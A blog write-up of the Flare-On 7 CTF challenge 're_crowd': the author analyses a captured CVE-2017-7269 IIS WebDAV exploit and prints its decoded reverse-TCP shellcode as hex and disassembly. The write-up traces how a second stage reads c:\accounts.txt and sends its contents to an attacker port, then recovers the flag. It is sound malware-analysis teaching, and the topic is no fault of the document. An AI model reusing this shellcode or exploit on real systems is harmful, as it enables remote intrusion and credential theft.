Flare-On 7 2020 Challenge #7: re_crowd

Eviatar Gerzi
12 min readOct 29, 2020

Tools

We received a capture network file named: re_crowd.pcapng.

Notice that there are number of records with PROPFIND:

I follow the TCP stream of this requests:

I didn’t understand what it is, I thought in the beginning that this is some base64 encoding but it doesn’t. I decided to search for “Not <locktoken:Write1>” and it seems that it is related to CVE-2017–7269:

According to MITRE this a vulnerability in WebDAV:

Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with “If: <http://” in a PROPFIND request, as exploited in the wild in July or August 2016.

After searching for exploits for this vulnerability we see that this is almost exactly like the encoded string from the PCAP.

There are number of websites that analyze this shellcode but the best one was this website. It explained that the beginning of the shellcode is actually a decoder stub:

And provided a decoder function which I changed a bit:

I run it and received the decoded shellcode:

E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 12 EB 8D 5D 68 33 32 00 00 68 77 73 32 5F 54 68 4C 77 26 07 FF D5 B8 90 01 00 00 29 C4 54 50 68 29 80 6B 00 FF D5 50 50 50 50 40 50 40 50 68 EA 0F DF E0 FF D5 97 6A 05 68 C0 A8 44 15 68 02 00 11 5C 89 E6 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0C FF 4E 08 75 EC 68 F0 B5 A2 56 FF D5 6A 00 6A 04 56 57 68 02 D9 C8 5F FF D5 8B 36 81 F6 4B 58 4F 52 8D 0E 6A 40 68 00 10 00 00 51 6A 00 68 58 A4 53 E5 FF D5 8D 98 00 01 00 00 53 56 50 6A 00 56 53 57 68 02 D9 C8 5F FF D5 01 C3 29 C6 75 EE 5B 59 5D 55 57 89 DF E8 10 00 00 00 6B 69 6C 6C 65 72 76 75 6C 74 75 72 65 31 32 33 5E 31 C0 AA FE C0 75 FB 81 EF 00 01 00 00 31 DB 02 1C 07 89 C2 80 E2 0F 02 1C 16 8A 14 07 86 14 1F 88 14 07 FE C0 75 E8 31 DB FE C0 02 1C 07 8A 14 07 86 14 1F 88 14 07 02 14 1F 8A 14 17 30 55 00 45 49 75 E5 5F C3 51

The only interesting thing we can see is some word killervulture123 but we still don’t have a clue what is the reason of it:

Shellcode Static Analysis

I used online disassembly to view the shellcode and in the beginning some part of it had some constants like:

push   0x3233     
push 0x5f327377
push esp
push 0x726774c
call ebp
mov eax,0x190
sub esp,eax
push esp
push esp
push eax
push 0x6b8029
call ebp

After searching for specific constants (i.e. 0x726774c) I noticed that these are hashes of function names. For example, I notice that this shellcode was very similar to the block_reverse_tcp.asm shellcode from MetaSploit and it contained lots of notes which help me to analyze it.

At this point I knew what the shellcode do. It opens TCP socket on 192.168.68.21 and port 4444and try to connect it.

push   eax         ; push AF_INET           
push 0xe0df0fea hash( "ws2_32.dll", "WSASocketA"
call ebp ; WSASocketA( AF_INET, SOCK_STREAM
xchg edi,eax ; save the socket for later, don't
push 0x5 ; retry counter
push 0x1544a8c0 ; 192.168.68.21
push 0x5c110002 ; family AF_INET and port 4444
mov esi,esp ; save pointer to sockaddr struct
push 0x10 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174a599 "ws2_32.dll!connect"

Changing the target IP to our localhost

I needed that my machine will have the 192.168.68.21 and listen on 4444. One way to achieve it was to change my machine IP to this IP but there is another way — change the shellcode. All I need to do to change it to my local host is to change 0x1544a8c0 ;192.168.68.21 to 0x0100007F ;127.0.0.1 (to find the hex value of local host you can use this website).

Before:
68 c0 a8 44 15 push 0x1544a8c0 ; 192.168.68.21
After:
68 7F 00 00 01 push 0x0100007F ; 127.0.0.1

Debugging the Shellcode

I started IO Ninja TCP Listener Socket to listen on port 4444.

I used BlobRunner to run the shellcode through x32dbg:

"C:\tmp\flare2020\7\blobrunner.exe"  C:\tmp\flare2020\7\shellcodes\decoded_shellcode_no_header_full_localhost

After running it BlobRuner will show you the memory location of the shllecode:

Jump to this address, set breakpoint and press Enter and it will jump to the shellcode. We can see that it successfully connected to our localhost on port 4444:

Shellcode connect to our localhost on port 4444

But after that there were to ws2_32.dll!recv calls waiting for some input.

Finding the required stream

I went back to WireShark and searched for a place where there was a connection to 4444 and found something:

When I looked on the message sent from 192.168.68.21 to 192.168.68.1, I saw block of data:

But if it sent it one time, why there are two calls of ws2_32.dll!recv?

It turns out that it split the message to two parts. The first is is 4 bytes (push 4) which is the 4 bytes from the beginning of the message 9c 5c 4f 52 and the second part is the rest of the message (push esi while it in size 0x4D7) :

I sent the first message with IO Ninja (notice it should be “Binary”):

And second message (size 0x4D7) after the first one received:

I also noticed that they did this decoded with the string we saw earlier: killervulture123

Following the white rabbit

After I passed the two recv functions I continued to step over to see where it goes. The code started to unpack the large message we sent, to Windows libraries names and functions.

At some point it wants to open the file c:\accounts.txt:

I created the file that it will be able to continue and then it tried to read 0x100 (256) bytes from the file:

Notice the intrepidmango string, we will get to this later.

After that there was a call to ws2_32.WSAStartup:

I checked what is inside the call call 9B040E and I found that it leads to connect to TCP on 192.168.68.21 and port 1337 which make sense because we saw that after the connection to port 4444 it connected to 1337:

Notice that to resolve the port, you can do it simply with Python:

import socket
socket.htons(0x3905)
// 1337

So, this time I again needed to change the hostname to 127.0.0.1 and open TCP listener on port 1337.

Because I needed to do number of tests, I also needed to get to this dynamically call to connect so I set breakpoint on the second call (after the call to the function 0x142- last function in the shellcode) to ws2_32.WSAStartup and set breakpoint on the first address on the stuck, the return address stuck.

I saw that the IP address (0x1544A8C0 = 192.168.68.21) is in eax:

I changed eax to 0x010007F = 127.0.0.1:

But after that it didn’t print anything.

Putting the pieces together

What we know so far:

  1. The shellcode listen on port 4444 and waits for encoded second-stage shellcode.
  2. The second-stage shellcode is being sent with two parts: size and data.
  3. The second-stage shellcode is decoded using killervulture123 string.
  4. The second-shellcode is trying to open c:\accounts.txt and it tries to read 0x100 (256) bytes from there.
  5. After it reads the content from c:\accounts.txt, it calls to two functions that are doing some decoding with the string intrepidmango and listen to 1337. It then send it to the attacker.

Last part: server to attack

In the last part of the communication on port 1337 the server send to the attacker the following data:

This is what should be sent after reading some unknown content from c:\accounts.txt and doing some decoding stuff on it. To reproduce it, I thought to do something similar we did in challenge 6.

I filled the c:\accounts.txt with NULL bytes in size of 0xCE, create Python script for automation and changed the computer name to 127.0.0.1:

We received the following data:

31 09 2e b9 cd 17 ff 12 e1 d5 74 6a d8 fb 2a fa 0c 40 90 58 a6 e8 c6 b8 7f a3 e3 97 0b 92 08 bd d5 63 62 25 cf aa 50 ab 3f b3 6a 29 71 e6 01 3d 23 67 65 09 b3 64 6f 5d fe ec 0d 22 9d e4 9e 8c 40 72 df cb 57 1c 94 ed fd a5 c1 9c 42 1f e0 da a4 a1 ed 8b 22 8a 7a dc a5 f4 d1 37 ca 0d 94 c3 39 be 62 cd d4 b8 7d 9e 4b 73 65 f2 38 76 9b b6 2b 4f 9a 4d be fe eb 34 21 28 a3 e1 fc d5 69 6e 49 45 77 b5 16 38 d3 d3 98 b3 79 06 78 40 e1 7c 6b 19 17 07 02 ff 3f 87 50 13 e7 61 48 7b ad 5d 10 ac d2 72 c5 58 8c de 58 e0 ed 49 63 6a d1 9f ef 37 d7 85 1d cc 50 55 29 62 28 e4 ae 64 8a ca 2c 87 35 60 11 e4 79 e5 bb 29 3b d0 0e 06

I thought to XOR it with the data from WireShark:

43 66 57 83 a5 23 89 77 be ac 1b 1f 87 8f 58 93 3f 24 cf 2c d3 9a a8 d1 11 c4 bc a6 7f cd 38 db b3 3c 03 4b ab f5 60 c5 60 d2 0d 1d 18 88 41 5b 4f 06 17 6c 9e 0b 01 73 9d 83 60 18 fa 8b ff f8 4d 78 b2 a4 24 6f ae bd 92 d1 ec cc 2d 7c 8b bf d0 8c bd e2 45 ef 15 b2 88 bc a4 59 be 20 ac f9 57 df 10 ba bc d9 11 93 41 19 00 9c 02 25 ef c4 4a 26 fd 25 ca 9b 85 19 64 4e c5 84 9f a1 00 18 2c 68 30 dc 70 4c fe 83 f1 c7 00 2b 49 7a 83 09 05 77 6e 0a 08 8d 56 e4 38 7e 88 0f 2c 41 e4 33 66 c9 bc 06 aa 2a a1 96 2d 94 c0 08 16 1e a4 f2 81 1a 83 f7 7c b5 7d 63 13 00 41 96 ca 69 80 ae 49 e9 5d 0f 7d 89 43 d4 89 1a 01 b4 61 61

After XORing I received the decoded data:

>>> data = [0x43, 0x66, 0x57, 0x83, 0xa5, 0x23, 0x89, 0x77, 0xbe, 0xac, 0x1b, 0x1f, 0x87, 0x8f, 0x58, 0x93, 0x3f, 0x24, 0xcf, 0x2c, 0xd3, 0x9a, 0xa8, 0xd1, 0x11, 0xc4, 0xbc, 0xa6, 0x7f, 0xcd, 0x38, 0xdb, 0xb3, 0x3c, 0x03, 0x4b, 0xab, 0xf5, 0x60, 0xc5, 0x60, 0xd2, 0x0d, 0x1d, 0x18, 0x88, 0x41, 0x5b, 0x4f, 0x06, 0x17, 0x6c, 0x9e, 0x0b, 0x01, 0x73, 0x9d, 0x83, 0x60, 0x18, 0xfa, 0x8b, 0xff, 0xf8, 0x4d, 0x78, 0xb2, 0xa4, 0x24, 0x6f, 0xae, 0xbd, 0x92, 0xd1, 0xec, 0xcc, 0x2d, 0x7c, 0x8b, 0xbf, 0xd0, 0x8c, 0xbd, 0xe2, 0x45, 0xef, 0x15, 0xb2, 0x88, 0xbc, 0xa4, 0x59, 0xbe, 0x20, 0xac, 0xf9, 0x57, 0xdf, 0x10, 0xba, 0xbc, 0xd9, 0x11, 0x93, 0x41, 0x19, 0x00, 0x9c, 0x02, 0x25, 0xef, 0xc4, 0x4a, 0x26, 0xfd, 0x25, 0xca, 0x9b, 0x85, 0x19, 0x64, 0x4e, 0xc5, 0x84, 0x9f, 0xa1, 0x00, 0x18, 0x2c, 0x68, 0x30, 0xdc, 0x70, 0x4c, 0xfe, 0x83, 0xf1, 0xc7, 0x00, 0x2b, 0x49, 0x7a, 0x83, 0x09, 0x05, 0x77, 0x6e, 0x0a, 0x08, 0x8d, 0x56, 0xe4, 0x38, 0x7e, 0x88, 0x0f, 0x2c, 0x41, 0xe4, 0x33, 0x66, 0xc9, 0xbc, 0x06, 0xaa, 0x2a, 0xa1, 0x96, 0x2d, 0x94, 0xc0, 0x08, 0x16, 0x1e, 0xa4, 0xf2, 0x81, 0x1a, 0x83, 0xf7, 0x7c, 0xb5, 0x7d, 0x63, 0x13, 0x00, 0x41, 0x96, 0xca, 0x69, 0x80, 0xae, 0x49, 0xe9, 0x5d, 0x0f, 0x7d, 0x89, 0x43, 0xd4, 0x89, 0x1a, 0x01, 0xb4, 0x61, 0x61]
>>>
>>> key = [0x31, 0x09, 0x2e, 0xb9, 0xcd, 0x17, 0xff, 0x12, 0xe1, 0xd5, 0x74, 0x6a, 0xd8, 0xfb, 0x2a, 0xfa, 0x0c, 0x40, 0x90, 0x58, 0xa6, 0xe8, 0xc6, 0xb8, 0x7f, 0xa3, 0xe3, 0x97, 0x0b, 0x92, 0x08, 0xbd, 0xd5, 0x63, 0x62, 0x25, 0xcf, 0xaa, 0x50, 0xab, 0x3f, 0xb3, 0x6a, 0x29, 0x71, 0xe6, 0x01, 0x3d, 0x23, 0x67, 0x65, 0x09, 0xb3, 0x64, 0x6f, 0x5d, 0xfe, 0xec, 0x0d, 0x22, 0x9d, 0xe4, 0x9e, 0x8c, 0x40, 0x72, 0xdf, 0xcb, 0x57, 0x1c, 0x94, 0xed, 0xfd, 0xa5, 0xc1, 0x9c, 0x42, 0x1f, 0xe0, 0xda, 0xa4, 0xa1, 0xed, 0x8b, 0x22, 0x8a, 0x7a, 0xdc, 0xa5, 0xf4, 0xd1, 0x37, 0xca, 0x0d, 0x94, 0xc3, 0x39, 0xbe, 0x62, 0xcd, 0xd4, 0xb8, 0x7d, 0x9e, 0x4b, 0x73, 0x65, 0xf2, 0x38, 0x76, 0x9b, 0xb6, 0x2b, 0x4f, 0x9a, 0x4d, 0xbe, 0xfe, 0xeb, 0x34, 0x21, 0x28, 0xa3, 0xe1, 0xfc, 0xd5, 0x69, 0x6e, 0x49, 0x45, 0x77, 0xb5, 0x16, 0x38, 0xd3, 0xd3, 0x98, 0xb3, 0x79, 0x06, 0x78, 0x40, 0xe1, 0x7c, 0x6b, 0x19, 0x17, 0x07, 0x02, 0xff, 0x3f, 0x87, 0x50, 0x13, 0xe7, 0x61, 0x48, 0x7b, 0xad, 0x5d, 0x10, 0xac, 0xd2, 0x72, 0xc5, 0x58, 0x8c, 0xde, 0x58, 0xe0, 0xed, 0x49, 0x63, 0x6a, 0xd1, 0x9f, 0xef, 0x37, 0xd7, 0x85, 0x1d, 0xcc, 0x50, 0x55, 0x29, 0x62, 0x28, 0xe4, 0xae, 0x64, 0x8a, 0xca, 0x2c, 0x87, 0x35, 0x60, 0x11, 0xe4, 0x79, 0xe5, 0xbb, 0x29, 0x3b, 0xd0, 0x0e, 0x06]
>>>
>>> result = ''
>>> for i in range(len(data)):
... try:
... result += chr(data[i] ^ key[i])
... except:
... continue
...
>>> result
'roy:h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com:goat\r\nmoss:Pot-Pocket-Pigeon-Hunt-8:narwhal\r\njen:Straighten-Effective-Gift-Pity-1:bunny\r\nrichmond:Inventor-Hut-Autumn-Tray-6:bird\r\ndenholm:123:dog'
flag: h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com

--

--

Eviatar Gerzi

Security researcher interested in reversing, solving CTFs, malware analysis, penetration testing and DevOps security (docker and Kubernetes)